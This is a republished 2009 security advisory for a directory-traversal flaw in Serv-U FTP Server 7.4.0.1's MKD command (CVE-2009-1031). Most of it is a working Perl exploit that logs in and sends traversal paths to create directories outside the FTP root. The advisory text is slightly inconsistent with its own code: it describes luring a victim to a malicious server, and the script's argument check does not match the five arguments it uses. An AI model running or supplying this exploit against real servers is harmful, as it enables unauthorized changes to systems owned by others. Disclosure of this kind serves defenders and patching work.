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Feeds -
Exploits
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Written by Jonathan Salwan
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Thursday, 26 March 2009 22:48 |
Serv-U FTP Server 'MKD' Command Directory Traversal Vulnerability
-\\Bugtraq ID:
34125
-\\Class:
Input Validation Error
-\\CVE:
CVE-2009-1031
-\\Remote:
Yes
-\\Local:
No
-\\Published:
Mar 16 2009 12:00AM
-\\Updated:
Mar 26 2009 04:26PM
-\\Credit:
Jonathan Salwan
-\\Vulnerable:
RhinoSoft Serv-U 7.4 1
-\\Discussion
Serv-U FTP Server is prone to a directory-traversal vulnerability because the application
fails to sufficiently sanitize user-supplied input.
Exploiting this issue allows an authenticated user to create directories outside the FTP
root directory, which may lead to other attacks.
Serv-U FTP Server 7.4.0.1 is vulnerable; other versions may also be affected.
-\\Exploit(s)/PoC(s):
An attacker can exploit this issue by enticing an unsuspecting victim to connect to a
malicious server.
The following exploit code is available:
======================================================
34125.pl
^^^^^^^^^
#!/usr/bin/perl
# Soft : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org
use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";
if (@ARGV < 4)
{
print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$dir = $ARGV[4];
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") ||
die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";
print $socket "USER $user\r\n";
print $socket "PASS $pass\r\n";
print $socket "MKD $dir\r\n";
sleep(3);
close($socket);
print "[+]Done! directory $dir has been created\n";
# milw0rm.com [2009-03-16]
-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if
you are aware of more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s)
--Serv-U Homepage
http://www.serv-u.com (RhinoSoft)
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